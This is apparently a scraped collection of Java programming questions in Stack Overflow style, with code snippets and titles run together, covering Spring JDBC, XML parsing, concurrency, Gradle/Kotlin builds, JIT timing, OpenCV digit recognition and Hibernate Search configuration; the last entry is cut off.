org.springframework.jdbc.support.lob.DefaultLobHandler ; import org.springframework.jdbc.support.lob.OracleLobHandler ; import org.springframework.jdbc.support.nativejdbc.SimpleNativeJdbcExtractor ; import oracle.jdbc.pool.OracleDataSource ; public class SimpleDbStandaloneTest2 extends StoredProcedure { public SimpleDbStandaloneTest2 ( DataSource ds , String sp ) { super ( ds , sp ) ; declareParameter ( new SqlInOutParameter ( `` io_col '' , Types.CLOB , null , new CLOBToStringConverter ( ) ) ) ; // declareParameter ( new SqlInOutParameter ( `` io_col '' , Types.CLOB ) ) ; compile ( ) ; } class CLOBToStringConverter implements SqlReturnType { @ Override public Object getTypeValue ( CallableStatement cs , int paramIndex , int sqlType , String typeName ) throws SQLException { Clob aClob = cs.getClob ( paramIndex ) ; final Reader clobReader = aClob.getCharacterStream ( ) ; int length = ( int ) aClob.length ( ) ; char [ ] inputBuffer = new char [ 1024 ] ; final StringBuilder outputBuffer = new StringBuilder ( ) ; try { while ( ( length = clobReader.read ( inputBuffer ) ) ! = -1 ) { outputBuffer.append ( inputBuffer , 0 , length ) ; } } catch ( IOException e ) { throw new SQLException ( e.getMessage ( ) ) ; } return outputBuffer.toString ( ) ; } } public Map < String , Object > execute ( ) { Map < String , Object > inputs = new HashMap < > ( ) ; Connection conn = null ; WrappedConnection wc = null ; try { conn = getJdbcTemplate ( ) .getDataSource ( ) .getConnection ( ) ; if ( conn instanceof WrappedConnection ) { // this runs when the app is running from inside jboss wc = ( WrappedConnection ) conn ; } else { } //https : //docs.spring.io/spring/docs/3.2.18.RELEASE/javadoc-api/org/springframework/jdbc/support/lob/OracleLobHandler.html OracleLobHandler lh = new OracleLobHandler ( ) ; lh.setNativeJdbcExtractor ( new SimpleNativeJdbcExtractor ( ) ) ; //ERROR org.springframework.jdbc.support.lob.OracleLobHandler - Could not free Oracle LOB //inputs.put ( `` io_col '' , new SqlLobValue ( `` f '' , lh ) ) ; LobHandler h = new DefaultLobHandler ( ) ; inputs.put ( `` io_col '' , new SqlLobValue ( `` f '' , h ) ) ; } catch ( Exception e ) { e.printStackTrace ( ) ; } finally { /* Close the connections manually to prevent connection leak */ try { if ( wc ! = null & & ! wc.isClosed ( ) ) wc.close ( ) ; } catch ( SQLException e ) { } try { if ( conn ! = null ) conn.close ( ) ; } catch ( SQLException e ) { } /* Close the connections manually to prevent connection leak */ } Map < String , Object > outMap = execute ( inputs ) ; return outMap ; } public static void main ( String [ ] args ) throws SQLException { OracleDataSource ods = new OracleDataSource ( ) ; ods.setUser ( `` xxx '' ) ; ods.setPassword ( `` xxx '' ) ; ods.setServerName ( `` xxx '' ) ; ods.setPortNumber ( xxx ) ; ods.setDriverType ( `` thin '' ) ; ods.setNetworkProtocol ( `` tcp '' ) ; ods.setDatabaseName ( `` xxxx '' ) ; SimpleDbStandaloneTest2 t = new SimpleDbStandaloneTest2 ( ods , `` TESTLEOSP '' ) ; Map < String , Object > map = t.execute ( ) ; System.out.println ( map ) ; } } Exception in thread `` main '' org.springframework.jdbc.UncategorizedSQLException : CallableStatementCallback ; uncategorized SQLException for SQL [ { call TESTLEOSP ( ? ) } ] ; SQL state [ 99999 ] ; error code [ 17012 ] ; Parameter Type Conflict ; nested exception is java.sql.SQLException : Parameter Type Conflict at org.springframework.jdbc.support.AbstractFallbackSQLExceptionTranslator.translate ( AbstractFallbackSQLExceptionTranslator.java:84 ) at org.springframework.jdbc.support.AbstractFallbackSQLExceptionTranslator.translate ( AbstractFallbackSQLExceptionTranslator.java:81 ) at org.springframework.jdbc.support.AbstractFallbackSQLExceptionTranslator.translate ( AbstractFallbackSQLExceptionTranslator.java:81 ) at org.springframework.jdbc.core.JdbcTemplate.execute ( JdbcTemplate.java:1099 ) at org.springframework.jdbc.core.JdbcTemplate.call ( JdbcTemplate.java:1135 ) at org.springframework.jdbc.object.StoredProcedure.execute ( StoredProcedure.java:142 ) Caused by : java.sql.SQLException : Parameter Type Conflict Manifest-Version : 1.0Ant-Version : Apache Ant 1.7.1Created-By : 20.12-b01 ( Sun Microsystems Inc. ) Implementation-Vendor : Oracle CorporationImplementation-Title : JDBCImplementation-Version : 12.1.0.1.0Repository-Id : JAVAVM_12.1.0.1.0_LINUX.X64_130403Specification-Vendor : Sun Microsystems Inc.Specification-Title : JDBCSpecification-Version : 4.0Main-Class : oracle.jdbc.OracleDriversealed : true SELECT * FROM V $ VERSIONOracle Database 11g Enterprise Edition Release 11.2.0.4.0 - 64bit ProductionPL/SQL Release 11.2.0.4.0 - Production '' CORE 11.2.0.4.0 Production '' TNS for IBM/AIX RISC System/6000 : Version 11.2.0.4.0 - ProductionNLSRTL Version 11.2.0.4.0 - Production SELECT * FROM NLS_DATABASE_PARAMETERSNLS_LANGUAGE AMERICANNLS_TERRITORY AMERICANLS_CURRENCY $ NLS_ISO_CURRENCY AMERICANLS_NUMERIC_CHARACTERS . , NLS_CHARACTERSET WE8ISO8859P1NLS_CALENDAR GREGORIANNLS_DATE_FORMAT DD-MON-RRNLS_DATE_LANGUAGE AMERICANNLS_SORT BINARYNLS_TIME_FORMAT HH.MI.SSXFF AMNLS_TIMESTAMP_FORMAT DD-MON-RR HH.MI.SSXFF AMNLS_TIME_TZ_FORMAT HH.MI.SSXFF AM TZRNLS_TIMESTAMP_TZ_FORMAT DD-MON-RR HH.MI.SSXFF AM TZRNLS_DUAL_CURRENCY $ NLS_COMP BINARYNLS_LENGTH_SEMANTICS BYTENLS_NCHAR_CONV_EXCP FALSENLS_NCHAR_CHARACTERSET AL16UTF16NLS_RDBMS_VERSION 11.2.0.4.0NLS_CSMIG_SCHEMA_VERSION 5 import java.util.Locale ; public class JavaLocale { public static void main ( String [ ] args ) { Locale currentLocale = Locale.getDefault ( ) ; System.out.println ( currentLocale.getDisplayLanguage ( ) ) ; System.out.println ( currentLocale.getDisplayCountry ( ) ) ; System.out.println ( currentLocale.getLanguage ( ) ) ; System.out.println ( currentLocale.getCountry ( ) ) ; System.out.println ( System.getProperty ( `` user.country '' ) ) ; System.out.println ( System.getProperty ( `` user.language '' ) ) ; } }",ORA-01461 for inherited char ( 1 byte ) column - need to make it work using Spring JDBC ( extending StoredProcedure ) +Java,"I have a huge XML file ( 15 GB ) . I want to convert a 'text ' tag in XML file to a single page.Sample XML file : I 've initially used DOM parser , but it throws JAVA OUT OF MEMORY ( Valid ) . Now , I 've written JAVA code using STAX . It works good , but performance is really slow.This is the code I 've written : This code is working good . ( Ignore about any minor errors ) . According to my understanding , XMLStreamConstants.CHARACTERS iterates for each and everyline of text tag . If TEXT tag has 10000 lines in it , XMLStreamConstants.CHARACTERS iterates for next 10000 lines . Is there any better way to improve the performance.. ?","< root > < page > < id > 1 < /id > < text > ... . 1000 to 50000 lines of text < /text > < /page > ... Like wise 2 Million ` page ` tags < /root > XMLEventReader xMLEventReader = XMLInputFactory.newInstance ( ) .createXMLEventReader ( new FileInputStream ( filePath ) ) ; while ( xMLEventReader.hasNext ( ) ) { xmlEvent = xMLEventReader.nextEvent ( ) ; switch ( xmlEvent.getEventType ( ) ) { case XMLStreamConstants.START_ELEMENT : if ( element == `` text '' ) isText = true ; break ; case XMLStreamConstants.CHARACTERS : chars = ( Characters ) xmlEvent ; if ( ! ( chars.isWhiteSpace ( ) || chars.isIgnorableWhiteSpace ( ) ) ) if ( isText ) pageContent += chars.getData ( ) + '\n ' ; break ; case XMLStreamConstants.END_ELEMENT : String elementEnd = ( ( ( EndElement ) xmlEvent ) .getName ( ) ) .getLocalPart ( ) ; if ( elementEnd == `` text '' ) { createFile ( id , pageContent ) ; pageContent = `` '' ; isText = false ; } break ; } }",Huge XML file to text files +Java,How can I convert Stream < int [ ] > into int [ ] without using forEach ?,"final Stream < int [ ] > stream = foos.stream ( ) .map ( foos - > insertQuery ( contact , create ) ) .map ( create : :batch ) .map ( Batch : :execute ) ; //Batch : :execute will return the int [ ]","in Java 8 , how can I get int array from Stream < int [ ] > without using forEach" +Java,"Suppose I have a class ObjectInfo which contains Object name & Object type as String . ( I am just cooking up something for the sake of asking the question . ) And If I want to provide a static factory method to creating instances of this class , which of the following two methods is better & why ? Basically , what I want to ask is when we should use valueOf ( ) & when newInstance ( ) ? Is there any conventions among the programmer 's community ? -Ankit","class ObjectInfo { String objectName ; String objectType ; private ObjectInfo ( String objectName , String objectType ) { this.objectName = objectName ; this.objectType = objectType ; } } public static ObjectInfo newInstance ( String objectName , String objectType ) { return new ObjectInfo ( objectName , objectType ) } public static ObjectInfo valueOf ( String objectName , String objectType ) { return new ObjectInfo ( objectName , objectType ) }",What is the criteria to choose between valueOf ( ) and newInstance ( ) ? +Java,"I would like to know how you divide project modules in java for monolith with possibility of transforming modules to micro-services later ? My personal naming looks like this : What we have here is basically product management context and sales context as packages . Modules communicate each other using public interfaces ( api package ) only . In my project I use `` ..api.ProductFacade '' to centralize communication points.When my `` sales '' module grow i will turn it into microservice by implementing `` ..api.ProductFacade '' interface as a `` rest '' or `` soap '' client and on the other side I will create Endpoint/RestController based on ProductFacade interface.Package `` com.company.shopapp.product.api '' will be transformed into extended library and added to both projects . Edit : I can achive this out of the box using @ Feign library.https : //cloud.spring.io/spring-cloud-netflix/multi/multi_spring-cloud-feign.html # spring-cloud-feign-inheritanceThe whole idea feels nice , but maybe you have better way to design project and ensure that breaking it into micro-services will not break whole application .","com.company.shopapp.product ... product.domain ( ddd , services , repositories , entities , aggregates , command handlers - everything with package scope ) ... product.api ( everything with public scope ) ... product.controller ( CQRS endpoints for commands in web perspective - ( package scope ) ) ... product.query ( CQRS - package scope ) com.company.shopapp.sales- domain- api - controller- query",Designing java project for monoliths and microservices at same time +Java,I have added Kotlin library to my existing project . After that I 'm getting the build error . I commented all the recently added libraries and checked the main problem is after adding kotlin libraryProject gradleAnd the app gradleIf I remove the below line from the app gradle everything works fine . But if I add the kotlin library I 'm getting the error.How can I use the kotlin and Java together .,"Error : Execution failed for task ' : app : transformClassesWithMultidexlistForDebug'. > java.io.IOException : Ca n't write [ /home/imedrix-server/StudioProjects/kardioscreen-operatorapp/app/build/intermediates/multi-dex/debug/componentClasses.jar ] ( Ca n't read [ /home/imedrix-server/StudioProjects/kardioscreen-operatorapp/app/build/intermediates/transforms/desugar/debug/76.jar ( ; ; ; ; ; ; **.class ) ] ( Duplicate zip entry [ 76.jar : org/intellij/lang/annotations/Flow.class ] ) ) buildscript { ext.kotlin_version = ' 1.2.21 ' repositories { google ( ) jcenter ( ) } dependencies { classpath 'com.android.tools.build : gradle:3.0.1 ' classpath 'com.google.gms : google-services:3.0.0 ' classpath `` org.jetbrains.kotlin : kotlin-gradle-plugin : $ kotlin_version '' classpath ( 'com.google.firebase : firebase-plugins:1.0.5 ' ) { exclude group : 'com.google.guava ' , module : 'guava-jdk5 ' } } } allprojects { repositories { google ( ) jcenter ( ) maven { url `` https : //maven.google.com '' } } } apply plugin : 'com.android.application'apply plugin : 'com.google.firebase.firebase-crash'apply plugin : 'kotlin-android'apply plugin : 'kotlin-android-extensions'apply plugin : 'kotlin-kapt'android { compileSdkVersion 27 buildToolsVersion '27.0.3 ' defaultConfig { applicationId 'com.example.android ' minSdkVersion 20 targetSdkVersion 27 versionCode 17 versionName `` 1.0 '' multiDexEnabled true vectorDrawables.useSupportLibrary = true } buildTypes { release { minifyEnabled false proguardFiles getDefaultProguardFile ( 'proguard-android.txt ' ) , 'proguard-rules.pro'// proguardFiles getDefaultProguardFile ( 'proguard-android-optimize.txt ' ) , 'proguard-rules.pro ' } debug { buildConfigField ( `` String '' , `` BASE_URL '' , `` \ '' url\ '' '' ) buildConfigField ( `` String '' , `` API_KEY '' , `` \ '' key\ '' '' ) } } productFlavors { } dexOptions { preDexLibraries = false javaMaxHeapSize `` 4g '' } compileOptions { sourceCompatibility JavaVersion.VERSION_1_8 targetCompatibility JavaVersion.VERSION_1_8 } packagingOptions { exclude 'META-INF/LICENSE.txt ' exclude 'META-INF/NOTICE.txt ' exclude '.readme ' } } dependencies { compile fileTree ( include : [ '*.jar ' ] , dir : 'libs ' ) compile project ( ' : controllers ' ) compile files ( 'libs/achartengine-1.2.0.jar ' ) compile files ( 'libs/dfuLibrary.jar ' ) compile 'com.android.support : appcompat-v7:27.0.2 ' compile `` org.jetbrains.kotlin : kotlin-stdlib-jdk7 : $ kotlin_version '' compile 'com.android.support : design:27.0.2 ' compile 'com.android.support : recyclerview-v7:27.0.2 ' compile 'com.android.support : cardview-v7:27.0.2 ' compile 'com.polidea.rxandroidble : rxandroidble:1.0.2 ' compile 'com.google.firebase : firebase-crash:11.8.0 ' compile 'com.android.support.constraint : constraint-layout:1.1.0-beta4 ' compile 'com.android.support : support-v4:27.0.2 ' compile 'com.google.android.gms : play-services-location:11.8.0 ' compile 'com.jakewharton : butterknife:8.8.1 ' testCompile 'junit : junit:4.12 ' /*compile 'org.hashids : hashids:1.0.3 ' compile 'com.google.dagger : dagger:2.11 ' compile 'javax.inject : javax.inject:1 ' kapt 'com.google.dagger : dagger-compiler:2.11 ' compile 'io.reactivex.rxjava2 : rxjava:2.1.3 ' compile 'io.reactivex.rxjava2 : rxandroid:2.0.1 ' kapt 'com.jakewharton : butterknife-compiler:8.8.1 ' compile 'com.amitshekhar.android : rx2-android-networking:1.0.0 ' compile 'com.android.support : multidex:1.0.2'*/ } apply plugin : 'com.google.gms.google-services ' compile `` org.jetbrains.kotlin : kotlin-stdlib-jdk7 : $ kotlin_version ''",Java and Kotlin combined build error ( Duplicate Zip Entry ) +Java,"I wrote this simple multi-threaded program to add numbers from 1 to 100,000 . When I ran this , I got different values as the end result ( values less than expected 5000050000 ) . When I executed the program only using one thread , it gave correct result . Program also works for smaller values such as 100 . What did possibly go wrong ? Thanks in advance .","class Calculation { private long total=0 ; public void calcSum ( long start , long end ) { long i = start ; for ( ; i < =end ; i++ ) { total += i ; } } public long getTotal ( ) { return total ; } } class CalculatorThread extends Thread { private long start ; private long end ; private Calculation calc ; public CalculatorThread ( long start , long end , Calculation calc ) { this.start = start ; this.end = end ; this.calc = calc ; } @ Override public void run ( ) { calc.calcSum ( start , end ) ; } } public class ParallelTest { public static void main ( String [ ] args ) throws InterruptedException { int start = 1 ; int end = 100000 ; Calculation calc = new Calculation ( ) ; CalculatorThread ct1 = new CalculatorThread ( start , end/2 , calc ) ; CalculatorThread ct2 = new CalculatorThread ( ( end/2 ) + 1 , end , calc ) ; ct1.start ( ) ; ct2.start ( ) ; ct1.join ( ) ; ct2.join ( ) ; System.out.println ( calc.getTotal ( ) ) ; } }",Java multi-threaded program using join ( ) gives wrong results in calculating sum of adjacent numbers +Java,"Why do I get an error when attempting to initialize a Double to an int , even though it does not throw an exception when using the primitive type , double ? Why is the behavior different between the class Double and the primitive type , double ?",Double a = 1 ; // error - incompatible typesDouble b = 1.0 ; // OKdouble c = 1 ; // OK,Why ca n't I set a Double object equal to an int ? - Java +Java,"Has anyone successfully used Ant4Eclipse ( http : //www.ant4eclipse.org/ ) in combination with Project Lombok ( http : //projectlombok.org/ ) ? Lombok provides annotations for removing boilerplate code ; however , it does n't appear to play nicely with Ant4Eclipse ( headless compilation of Eclipse projects ) . For instance , the following Lombok sample compiles fine in Eclipse and javac : But compiling with Ant4Eclipse 's < buildJdtProject > yields the following : Has anyone successfully used these libraries together ? Thanks ! Edit : sample project demonstrating the issue",import lombok.Getter ; public class LombokTest { private @ Getter String foo ; public LombokTest ( ) { String s = this.getFoo ( ) ; } } [ javac ] Compiling 1 source file [ javac ] -- -- -- -- -- [ javac ] 1 . WARNING in C : \dev\Java\workspace\LombokTest\src\LombokTest.java ( at line 4 ) [ javac ] private @ Getter String foo ; [ javac ] ^^^ [ javac ] The field LombokTest.foo is never read locally [ javac ] -- -- -- -- -- [ javac ] 2 . ERROR in C : \dev\Java\workspace\LombokTest\src\LombokTest.java ( at line 8 ) [ javac ] String s = this.getFoo ( ) ; [ javac ] ^^^^^^ [ javac ] The method getFoo ( ) is undefined for the type LombokTest [ javac ] -- -- -- -- --,Has anyone used Ant4Eclipse with Project Lombok ? +Java,"I was trying to reproduce some of the processor cache effects described in here . I understand that Java is a managed environment , and these examples will not translate exactly , but I came across a strange case , that I have tried to distill to a simple example that illustrates the effect : Output : The first iteration of the inner loop is about 4 times as fast as subsequent iterations . This is the opposite of what I would normally expect , as usually performace goes up as the JIT kicks in.Of course , one would do several warm-up loops in any serious micro-benchmark , but I 'm curious as to what could be causing this behaviour , especially since if we know the loop can be performed in 24ms , it 's not very satisfying that the steady-state time is over 100ms.For reference the JDK I am using ( on linux ) : UPDATE : Here 's some update info , based on some of the comments , and some experimenting:1 ) moving the System.out I/O out of the loop ( by storing the timing in an array of size 'runs ' ) makes no significant difference on time.2 ) the output displayed above is when I run from within Eclipse . When I compile and run from the command line ( with the same JDK/JVM ) I get more modest , but still significant results ( 2x instead of 4x faster ) . This seems interesting , since usaully running in eclipse will slow things down , if anything.3 ) moving a up , out of the loop , so that it is reused each iteration has no effect.4 ) if int [ ] a is changed to long [ ] a , the first iteration runs even faster ( about 20 % ) , while the other iterations are still the same ( slower ) speed.UPDATE 2 : I think the answer by apangin explains it . I tried this with Sun 's 1.9 JVM and it 's going from : to : That 's quite the improvement !","public static void main ( String [ ] args ) { final int runs = 10 ; final int steps = 1024 * 1024 * 1024 ; for ( int run = 0 ; run < runs ; run++ ) { final int [ ] a = new int [ 1 ] ; long start = System.nanoTime ( ) ; for ( int i = 0 ; i < steps ; i++ ) { a [ 0 ] ++ ; } long stop = System.nanoTime ( ) ; long time = TimeUnit.MILLISECONDS.convert ( stop - start , TimeUnit.NANOSECONDS ) ; System.out.printf ( `` Time for loop # % 2d : % 5d ms\n '' , run , time ) ; } } Time for loop # 0 : 24 ms Time for loop # 1 : 106 ms Time for loop # 2 : 104 ms Time for loop # 3 : 103 ms Time for loop # 4 : 102 ms Time for loop # 5 : 103 ms Time for loop # 6 : 104 ms Time for loop # 7 : 102 ms Time for loop # 8 : 105 ms Time for loop # 9 : 102 ms openjdk version `` 1.8.0_40 '' OpenJDK Runtime Environment ( build 1.8.0_40-b20 ) OpenJDK 64-Bit Server VM ( build 25.40-b23 , mixed mode ) openjdk version `` 1.8.0_40 '' OpenJDK Runtime Environment ( build 1.8.0_40-b20 ) OpenJDK 64-Bit Server VM ( build 25.40-b23 , mixed mode ) Time for loop # 0 : 48 msTime for loop # 1 : 116 msTime for loop # 2 : 112 msTime for loop # 3 : 113 msTime for loop # 4 : 112 msTime for loop # 5 : 112 msTime for loop # 6 : 111 msTime for loop # 7 : 111 msTime for loop # 8 : 113 msTime for loop # 9 : 113 ms java version `` 1.9.0-ea '' Java ( TM ) SE Runtime Environment ( build 1.9.0-ea-b73 ) Java HotSpot ( TM ) 64-Bit Server VM ( build 1.9.0-ea-b73 , mixed mode ) Time for loop # 0 : 48 msTime for loop # 1 : 26 msTime for loop # 2 : 22 msTime for loop # 3 : 22 msTime for loop # 4 : 22 msTime for loop # 5 : 22 msTime for loop # 6 : 22 msTime for loop # 7 : 22 msTime for loop # 8 : 22 msTime for loop # 9 : 23 ms",Why is this inner loop 4X faster the first iteration through the outer loop ? +Java,for example I want to replace before compilation : with :,# debug ( `` $ { enclosing_method } this is debug message for `` + userName ) if ( log.isDebugEnabled ( ) ) { log.debug ( `` < real method name > this is debug message for `` + userName ) ; },Preprocessor logging statements in java +Java,"I came across this code while watching a java game development series online.Video LinkI am still fairly new to java so please forgive me if it is obvious . It is explained in the video that gets rid of the alpha channel in the 0xAARRGGBB notation of the pixel to make it 0xRRGGBB . From what I understand , what the & 0xff does is capture the last byte of information off of an integer . It is also explained that the number 64 in is produced by dividing 255 by 4 ( I believe it was about limiting the amount of colors ) .so essentially my question is : how does 0xff get rid of the alpha channel ? I am fairly certain that my confusion is my lack of experience with numbers in hexadecimal form .","package gfx ; import java.awt.image.BufferedImage ; import java.io.IOException ; import javax.imageio.ImageIO ; public class SpriteSheet { public String path ; public int width ; public int height ; public int [ ] pixels ; public SpriteSheet ( String path ) { BufferedImage image=null ; try { image = ImageIO.read ( SpriteSheet.class.getResourceAsStream ( path ) ) ; } catch ( IOException e ) { e.printStackTrace ( ) ; } if ( image==null ) { return ; } this.path=path ; this.width=image.getWidth ( ) ; this.height=image.getHeight ( ) ; pixels=image.getRGB ( 0 , 0 , width , height , null,0 , width ) ; for ( int i=0 ; i < pixels.length ; i++ ) { pixels [ i ] = ( pixels [ i ] & 0xff ) /64 ; } } } pixels [ i ] = ( pixels [ i ] & 0xff ) pixels [ i ] = ( pixels [ i ] & 0xff ) /64 ;",Getting rid of the alpha channel on a buffered image +Java,"The default implementation of hashCode ( ) on HotSpot returns a random value and stores it in the object header . This does n't seem to have changed in Java 8 where the hash value is calculated by a call to os : :random ( ) : I 'm wondering why hashCode ( ) constantly returns the same value , also after shutting down the JVM which I tried by executing the simple test below , restarting my machine and then running main ( ) again.How can the output be the same everytime if hashCode ( ) is actually os : :random ( ) ? java -version givesNote : Should someone ask themselves what System.out.println ( obj ) ; , which calls obj.toString ( ) if the object is non-null and produces something like java.lang.Object @ 659e0bfd , has to do with hashCode ( ) : The part after @ is the object 's hash code in hexadecimal ( and is unrelated with the object 's location in memory , contrary to what the documentation suggests , which has led to misunderstandings ) .","static inline intptr_t get_next_hash ( Thread * Self , oop obj ) { intptr_t value = 0 ; if ( hashCode == 0 ) { // This form uses an unguarded global Park-Miller RNG , // so it 's possible for two threads to race and generate the same RNG . // On MP system we 'll have lots of RW access to a global , so the // mechanism induces lots of coherency traffic . value = os : :random ( ) ; } else ... public class SimpleTest { public static void main ( String [ ] args ) { Object obj = new Object ( ) ; // This calls toString ( ) which calls hashCode ( ) which calls os : :random ( ) System.out.println ( obj ) ; } } java version `` 1.8.0_40 '' Java ( TM ) SE Runtime Environment ( build 1.8.0_40-b25 ) Java HotSpot ( TM ) 64-Bit Server VM ( build 25.40-b25 , mixed mode )",Why does Object.hashCode ( ) return the same value across runs +Java,"I am working on handprinted multi-digit recognition with Java , using OpenCV library for preprocessing and segmentation , and a Keras model trained on MNIST ( with an accuracy of 0.98 ) for recognition . The recognition seems to work quite well , apart from one thing . The network quite often fails to recognize the ones ( number `` one '' ) . I ca n't figure out if it happens due to preprocessing / incorrect implementation of the segmentation , or if a network trained on standard MNIST just has n't seen the number one which looks like my test cases.Here 's what the problematic digits look like after preprocessing and segmentation : becomes and is classified as 4. becomes and is classified as 7. becomes and is classified as 4 . And so on ... Is this something that could be fixed by improving the segmentation process ? Or rather by enhancing the training set ? Edit : Enhancing the training set ( data augmentation ) would definitely help , which I am already testing , the question of correct preprocessing still remains.My preprocessing consists of resizing , converting to grayscale , binarization , inversion , and dilation . Here 's the code : The preprocessed image is then segmented into individual digits as following :","Mat resized = new Mat ( ) ; Imgproc.resize ( image , resized , new Size ( ) , 8 , 8 , Imgproc.INTER_CUBIC ) ; Mat grayscale = new Mat ( ) ; Imgproc.cvtColor ( resized , grayscale , Imgproc.COLOR_BGR2GRAY ) ; Mat binImg = new Mat ( grayscale.size ( ) , CvType.CV_8U ) ; Imgproc.threshold ( grayscale , binImg , 0 , 255 , Imgproc.THRESH_OTSU ) ; Mat inverted = new Mat ( ) ; Core.bitwise_not ( binImg , inverted ) ; Mat dilated = new Mat ( inverted.size ( ) , CvType.CV_8U ) ; int dilation_size = 5 ; Mat kernel = Imgproc.getStructuringElement ( Imgproc.CV_SHAPE_CROSS , new Size ( dilation_size , dilation_size ) ) ; Imgproc.dilate ( inverted , dilated , kernel , new Point ( -1 , -1 ) , 1 ) ; List < Mat > digits = new ArrayList < > ( ) ; List < MatOfPoint > contours = new ArrayList < > ( ) ; Imgproc.findContours ( preprocessed.clone ( ) , contours , new Mat ( ) , Imgproc.RETR_EXTERNAL , Imgproc.CHAIN_APPROX_SIMPLE ) ; // code to sort contours// code to check that contour is a valid charList rects = new ArrayList < > ( ) ; for ( MatOfPoint contour : contours ) { Rect boundingBox = Imgproc.boundingRect ( contour ) ; Rect rectCrop = new Rect ( boundingBox.x , boundingBox.y , boundingBox.width , boundingBox.height ) ; rects.add ( rectCrop ) ; } for ( int i = 0 ; i < rects.size ( ) ; i++ ) { Rect x = ( Rect ) rects.get ( i ) ; Mat digit = new Mat ( preprocessed , x ) ; int border = 50 ; Mat result = digit.clone ( ) ; Core.copyMakeBorder ( result , result , border , border , border , border , Core.BORDER_CONSTANT , new Scalar ( 0 , 0 , 0 ) ) ; Imgproc.resize ( result , result , new Size ( 28 , 28 ) ) ; digits.add ( result ) ; }",How to improve digit recognition of a model trained on MNIST ? +Java,"I 'm really a new at Java concurrency and I 'm trying to implement the following specifications : We have a car park which has some park spotsEach car is represented as a thread which endlessy change the car state from Driving - Parking . Each car has his own parking spot.When the car is in the parking state , it tries to park in a spot ( no necessary his spot ) . If the spot is free then it parks else it will skip this parking phase and go back to drive.The car remains in the spot unless the owner of the spot want to park.This is not the exact specification , but the only problem that I have is the following : I 'm not able to make the car skip the turn . If two cars pick the same spots , then one is parked and the other is waiting until the park is free . Which is not the bahvior that I want.My first idea was to simply synchronize the read and write to a variable occupied : If I run this with three cars , then I will end up in having car0 is parking at spot1 , car1 is parking at spot0 , car2 is waiting on spot0 , because car1 is executing the synchronized block park ( Car c ) . I do n't get how is it possible that two cars can park in the same spot if the willingToPark is synchronized.Thank you","class Car implements Runnable { private CarState state = CarState.driving run { while ( true ) { switch ( state ) { case driving : System.out.println ( this + `` driving . `` ) ; state = parking ; break ; case parking : Spot s = CarPark.getRandomSpot ( ) ; if ( s.willingToPark ( this ) ) { System.out.println ( s + `` occupied. `` + this + `` skip park turn . `` ) ; } else { s.park ( this ) ; } state = driving ; } } } } class Spot { private boolean occupied = false ; private Car owner = new Car ( ... ) ; synchronized boolean willingToPark ( Car c ) { if ( occupied ) { return true ; } else { occupied = true ; return false ; } synchronized void park ( Car c ) { System.out.println ( c + `` parking at `` + this ) ; //do n't care how this is implemented , just keep in mind //that it will enter in a loop until the owner came back . occupied = false ; } }",How can two threads be `` in '' a `` synchronized '' method +Java,"Given : I 'd like to access args in the above mentioned static block.I 'm aware that the static block is executed when the class is loaded ( or initialized ) and before the static main function , but was still wondering whether it was possible to access its args.Btw - my end goal is to append to the name of the log file at run-time , before log4j is configured ( using system property variable that is derived from one of the arguments that is passed to main ) .",public class MyClass { static { // Access to args is needed here } public static void main ( String [ ] args ) { ... } },Accessing main arguments from a static initializer +Java,"How can I perform this conversion in Java ? Currently , I 'm doing : However , this results in an incorrect format . It gives me the following output :","public static String formatDate ( String strDateToFormat ) { try { SimpleDateFormat sdfSource = new SimpleDateFormat ( `` EEEE , MMMM DD , YYYY '' ) ; Date date = sdfSource.parse ( strDateToFormat ) ; SimpleDateFormat sdfDestination = new SimpleDateFormat ( `` yyyy-MM-dd '' ) ; return sdfDestination.format ( date ) ; } catch ( ParseException pe ) { System.err.println ( `` Parse Exception : `` + pe ) ; } return null ; } Friday , February 1 , 2013 > 2013-01-04Thursday , January 31 , 2013 > 2013-01-03","Convert `` Friday , February 1 , 2013 '' to `` 2013-02-01 ''" +Java,"Can someone explain what 's happening here ? Assume Car and Bike are subclasses of Vehicle.It looks to me like Vehicle v reference gets cast to a Bike . I know this is illegal and indeed the compiler spits out ... Car can not be cast to Bike.But should n't this be Vehicle can not be cast to Bike ? After all , Vehicle v is a Vehicle reference .",public class Test { public static void main ( String [ ] args ) { Vehicle v = new Car ( ) ; Bike b = ( Bike ) v ; // some stuff } },java casting with superclass reference +Java,"I 'm configuring Hibernate Search 5.5.5 to use Infinispan 8.2.2 on Wildfly 10 . I configured only the Infinispan module in Wildfly , not the Hibernate Search module.Inside the persistence.xml I put this configuration : This because seems that Infinispan is used , but does n't persist the index.All caches are configured in domain.xml as below : in jboss-deployment-structure.xml : When I try to index all I receive this error : But If I remove this line : I got The problem seems the same described here : https : //developer.jboss.org/thread/271789But I do n't find any working solution , and I 'm sure that I havent one or more Infinispan or Hibernate version in my classpath.What is wrong ? : (",< property name= '' hibernate.search.infinispan.cachemanager_jndiname '' value= '' java : jboss/infinispan/container/hibernateSearch '' / > < property name= '' wildfly.jpa.hibernate.search.module '' value= '' none '' / > < cache-container name= '' hibernateSearch '' default-cache= '' LuceneIndexesData '' jndi-name= '' java : jboss/infinispan/hibernateSearch '' statistics-enabled= '' false '' > < replicated-cache name= '' LuceneIndexesMetadata '' mode= '' ASYNC '' > < file-store fetch-state= '' false '' passivation= '' false '' preload= '' false '' purge= '' false '' shared= '' false '' singleton= '' false '' / > < /replicated-cache > < replicated-cache name= '' LuceneIndexesLocking '' mode= '' SYNC '' > < file-store fetch-state= '' false '' passivation= '' false '' preload= '' false '' purge= '' false '' shared= '' false '' singleton= '' false '' / > < /replicated-cache > < replicated-cache name= '' LuceneIndexesData '' mode= '' ASYNC '' > < file-store fetch-state= '' false '' passivation= '' false '' preload= '' false '' purge= '' false '' shared= '' false '' singleton= '' false '' / > < /replicated-cache > < /cache-container > < module name= '' org.infinispan '' slot= '' ispn-8.2 '' / > < module name= '' org.hibernate.search.orm '' services= '' export '' / > UNHANDLED_EXCEPTION : java.lang.IllegalArgumentException : java.lang.Object is not an indexed entity or a subclass of an indexed entity < property name= '' wildfly.jpa.hibernate.search.module '' value= '' none '' / > org.hibernate.search.exception.SearchException : Wrong configuration of directory provider : class org.infinispan.hibernate.search.spi.InfinispanDirectoryProvider does not implement interface org.hibernate.search.store.DirectoryProvider,Configuring Hibernate Search with Infinispan and Wildfly +Java,"While writing some java article I 'm trying to reproduce re-ordering in case of unsynchronized object costruction in multithreaded environment.The case when a heavy object is constructed w/o synchonization/volatiles/finals and other threads get access to it right after constructor call.Here is the code I try : -But no effect so far , I 've tried on different 2,4 and 8 core Intel/AMD PCs with windows , ran test for a few hours - no reordering effect - System.err.printf ( `` watcher % s sees ... '' ) - is not called , static sharedArray [ 